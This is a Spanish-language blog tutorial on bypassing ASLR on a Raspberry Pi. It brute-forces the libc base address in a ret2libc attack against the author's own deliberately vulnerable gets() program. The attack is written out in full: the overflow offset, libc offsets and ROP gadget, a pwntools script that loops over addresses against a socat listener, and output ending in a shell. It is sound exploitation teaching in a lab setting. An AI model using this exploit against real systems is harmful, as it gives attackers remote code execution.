Ret2libc - Bypass ASLR on Raspberry pi (using bruteforce)

En esta entrada vamos a hacer un bypass de ASLR en raspberry pi mediante fuerza bruta de posiciones de memoria, lo cual veremos que en este caso en concreto la fuerza bruta es muy efectiva.

En primer lugar, ASLR (Address space layout randomization), como su nombre indica, lo que hace esta protección es disponer de forma aleatoria las direcciones de un proceso, entre ellas la pila, heap y las librerias. Por tanto cuando ejecutamos un programa, no sabremos a priori en que posiciones de memoria se encuentran las librerias compartidas.

Cómo podemos observar, la libreria libc cada vez se encuentra en una posición distinta (aunque si somos algo observadores, veremos que en realidad solo esta cambiando una parte):

pi@raspberrypi:~ $ ldd leak
        linux-vdso.so.1 (0x7eea0000)
        /usr/lib/arm-linux-gnueabihf/libarmmem.so (0x76fb4000)
        libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76e60000)
        /lib/ld-linux-armhf.so.3 (0x76fca000)
pi@raspberrypi:~ $ ldd leak
        linux-vdso.so.1 (0x7edc7000)
        /usr/lib/arm-linux-gnueabihf/libarmmem.so (0x76eda000)
        libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76d86000)
        /lib/ld-linux-armhf.so.3 (0x76ef0000)
pi@raspberrypi:~ $ ldd leak
        linux-vdso.so.1 (0x7ef98000)
        /usr/lib/arm-linux-gnueabihf/libarmmem.so (0x76f99000)
        libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76e45000)
        /lib/ld-linux-armhf.so.3 (0x76faf000)
pi@raspberrypi:~ $ ldd leak
        linux-vdso.so.1 (0x7ebe9000)
        /usr/lib/arm-linux-gnueabihf/libarmmem.so (0x76f02000)
        libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76dae000)
        /lib/ld-linux-armhf.so.3 (0x76f18000)
pi@raspberrypi:~ $ ldd leak
        linux-vdso.so.1 (0x7efea000)
        /usr/lib/arm-linux-gnueabihf/libarmmem.so (0x76f31000)
        libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76ddd000)
        /lib/ld-linux-armhf.so.3 (0x76f47000)

Si realizamos esta tarea para ver sobre que valores esta generando las posiciones de memoria, podemos intuir que la libreria libc estará entre 0x76d00000 y 0x76fff000. Siendo los tres ultimos valores constantes "000", por tanto tenemos 3*(16^2) posibilidades.

El programa vulnerable sobre el que haremos la prueba será el siguiente:

#include <stdio.h>

int main(int argc, char *argv[]){
    char buff[64];
    setbuf(stdout, 0);
    printf("Welcome\n");
    gets(buff);
    return 0;
}
Compilamos (en este ejemplo no tendremos canary para protegernos del stack overflow).

gcc leak.c -o leak


Buffer overflow exploitation


Al no tener protección que compruebe que ha habido desbordamiento en la pila (stack cookies), tomar el control de PC es trivial.
Para detectar el offset usamos gef.

gef> r
Starting program: /home/pi/leak 
Welcome
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGBUS, Bus error.
[ Legend: Modified register | Code | Heap | Stack | String ]
--------------------------------------------------------------[ registers ]----
$r0   : 0x00000000
$r1   : 0x00000000
$r2   : 0x00000001
$r3   : 0x00000000
$r4   : 0x00010518 -> <__libc_csu_init+0> push {r4,  r5,  r6,  r7,  r8,  r9,  r10,  lr}
$r5   : 0x00000000
$r6   : 0x0001039c -> <_start+0> mov r11,  #0
$r7   : 0x00000000
$r8   : 0x00000000
$r9   : 0x00000000
$r10  : 0x76fff000 -> 0x00030f44 -> 0x00000000
$r11  : 0x61616171 ("qaaa"?)
$r12  : 0x7effef28 -> 0x61616161 ("aaaa"?)
$sp   : 0x7effef70 -> 0x61616173 ("saaa"?)
$lr   : 0x62616179 ("yaab"?)
$pc   : 0x61616172 ("raaa"?)
$cpsr : [thumb fast interrupt overflow CARRY ZERO negative]
------------------------------------------------------------------[ stack ]----
0x7effef70|+0x00: 0x61616173    <-$sp
0x7effef74|+0x04: 0x61616174
0x7effef78|+0x08: 0x61616175
0x7effef7c|+0x0c: 0x61616176
0x7effef80|+0x10: 0x61616177
0x7effef84|+0x14: 0x61616178
0x7effef88|+0x18: 0x61616179
0x7effef8c|+0x1c: 0x6261617a
---------------------------------------------------------------[ code:arm ]----
[!] Cannot disassemble from $PC
----------------------------------------------------------------[ threads ]----
[#0] Id 1, Name: "leak", stopped, reason: SIGBUS
------------------------------------------------------------------[ trace ]----
-------------------------------------------------------------------------------
0x61616172 in ?? ()
gef> pattern offset 0x61616172
[+] Searching '0x61616172'
[+] Found at offset 68 (little-endian search) likely
[+] Found at offset 65 (big-endian search)

En el offset 68 tenemos el punto exacto donde sobreescribir PC, por tanto será en esta posición donde tendremos que hacer un poco de magia para tener la ejecución de código, ya que el stack no tiene permisos de ejecución.

[+] checksec for '/home/pi/leak'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial
gef> vmmap
[...]
0x7efdf000 0x7f000000 0x00000000 rw- [stack]
[...]


ROP Gadgets


La forma más fácil para obtener la ejecución de código será con system, la cual se encuentra en libc, al igual que la cadena /bin/sh. Por tanto lo que tenemos que hacer es fabricar la llamada a system("/bin/sh"), usando ROP gadgets.

Por tanto, necesitamos:
  • Offset de system: La función que ejecutaremos.
  • Offset de /bin/sh: El programa que ejecutaremos con system
  • pop {r0, pc}: El gadget que necesitamos para fabricar la llamada a system. En nuestro caso hemos encontrado pop {r0, r4, pc}, la cual también nos vale.
Para buscar los offsets:

System
pi@raspberrypi:~ $ readelf -s /lib/arm-linux-gnueabihf/libc.so.6 | grep system
   226: 000ff1d4    80 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.4
   582: 00037154    44 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1343: 00037154    44 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.4
El offset de system es 0x37154

/bin/sh
gef> grep /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/lib/arm-linux-gnueabihf/libc-2.24.so'(0x76e64000-0x76f8e000), permission=r-x
  0x76f81588 - 0x76f8158f ->  "/bin/sh"
Por tanto el offset es 0x76f81588 - 0x76f8e000 = 0x11d588

pop r0; pop pc
$ ./Ropper.py --file ~/CTF/Exploit/libc.so.6 --search "pop {r0"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop {r0

[INFO] File: /home/manu/CTF/Exploit/libc.so.6
0x000d3aa0: pop {r0, r1, r2, r3, ip, lr}; bx ip; 
0x0007753c: pop {r0, r4, pc};
El offset es 0x7753c

Ahora ya tenemos el payload que necesitamos a falta de obtener la dirección de libc:

"A"*68 + (libc_addr+0x7753c) + (libc_addr+0x11d588)+ "AAAA"+ (libc_addr+0x37154)

Solo necesitamos saber donde se encuentra libc, para ello usaremos fuerza bruta. Como hemos visto al inicio del post, solo cambian tres digitos 0x76???000, por tanto lo que debemos de hacer es un bucle donde recorramos todas estas posiciones y lancemos el payload anterior con la posición de libc a probar, cada vez que tengamos exito nos devolvera un shell. También hemos observado que las posiciones van desde 0x76d??000 a 0x76f??000, por tanto podemos reducir más aun el número de casos.


Making the exploit


Ahora solo nos queda poner todo junto y realizar la fuerza bruta sobre estas posiciones de memoria.

from pwn import *

r1 = 13
found = False
while r1 < 16 and not found:
    r2 = 0
    while r2<255 and not found:
        #p = process(["./leak", ""])
        p = remote('192.168.1.101',4444)

        p.recvline()
        libc_addr = int("0x76"+ hex(r1).replace("0x","")  + "{0:#0{1}x}".format(r2,4).replace("0x","") + "000", 16)
        log.info("Trying %s",hex(libc_addr))
        system_addr = libc_addr + 0x37154
        pop_r0_r4_pc = libc_addr + 0x7753c                                      # 0x0007753c: pop {r0, r4, pc}; 
        bin_sh = libc_addr + 0x11d588
        log.info("Sending exploit...")
        p.sendline("A"*68+p32(pop_r0_r4_pc)+p32(bin_sh)+"AAAA"+p32(system_addr))
        p.sendline("uname -a")
        try:
            data = p.recvline()
            log.info("Received: %s"%data)
            found = True
            p.interactive()
            break
        except EOFError:
            p.close()
            pass
        r2 = r2 + 1
    r1 = r1 + 1
Ejecutamos el exploit, para ello primero lanzamos el programa para que escuche en remoto:

Servidor:

pi@raspberrypi:~ $ socat -v tcp-listen:4444,reuseaddr,fork exec:"./leak"

Exploit:

[manu@kinakuta ~/CTF/Exploit]$ python exploit-pi-brute.py 
[+] Opening connection to 192.168.1.101 on port 4444: Done
[*] Trying 0x76d00000
[*] Sending exploit...
[*] Closed connection to 192.168.1.101 port 4444
[+] Opening connection to 192.168.1.101 on port 4444: Done
[*] Trying 0x76d01000
[*] Sending exploit...
[*] Closed connection to 192.168.1.101 port 4444
[...]
[+] Opening connection to 192.168.1.101 on port 4444: Done
[*] Trying 0x76e0b000
[*] Sending exploit...
[*] Received: Linux raspberrypi 4.9.59-v7+ #1047 SMP Sun Oct 29 12:19:23 GMT 2017 armv7l GNU/Linux
[*] Switching to interactive mode
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)


Herramientas usadas


Se han usado estas herramientas, unicamente porque me siento cómodo con ellas, y por usar varias distintas.. Al final las herramientas dan igual cuando si sabes que estas haciendo.